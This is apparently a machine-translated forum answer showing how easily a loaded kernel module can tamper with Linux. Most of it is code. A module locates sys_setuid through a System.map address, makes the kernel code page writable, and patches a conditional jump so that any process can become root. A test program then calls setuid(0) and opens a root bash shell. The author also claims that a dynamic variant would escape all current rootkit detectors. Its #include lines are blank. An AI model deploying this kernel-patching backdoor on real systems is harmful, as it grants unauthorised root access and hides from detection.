良好的一般水平的答案已经。 如何在示例代码级别查看此问题,更清楚地说明安装模块后Linux的脆弱程度。
我的例子模块:
#include
#include
#include
#include
char *p;
int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map
{ pte_t *pte1;
unsigned int dummy_but_needed;
p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx
pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
pte1->pte |= _PAGE_RW; //Now the code page is writable
*(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".
return -1; // Insmod complains and module disappears from the system but module did it's work already
}
MODULE_LICENSE("GPL");//We don't need cleanup_module
测试程序给用户级终端超级用户权限:
int main()
{
setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;");
system("/bin/bash"); //rax=system call nr and rdi=first parameter
}
这是一个危险的rootkit?不可以。要查找sys_setuid地址,您必须拥有root权限!实际上,每个系统都有不同的地址。
无论如何,这表明操纵是多么简单。事实上,通过动态(运行时)方法来替换使用的常量是非常容易的,这里没有介绍。 (这将是一个rootkit。我试了一下,目前没有rootkit的狩猎程序能够找到它,即使它存在,并采取了每个系统调用。)
我测试了这与内核3.2和AMD64。将无法在其他硬件上工作!
(如何找到所需要的常数:
xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic
[sudo] password for xxxx:
ffffffff8107f3a0 T sys_setuid
ffffffff810a23f0 T sys_setuid16
)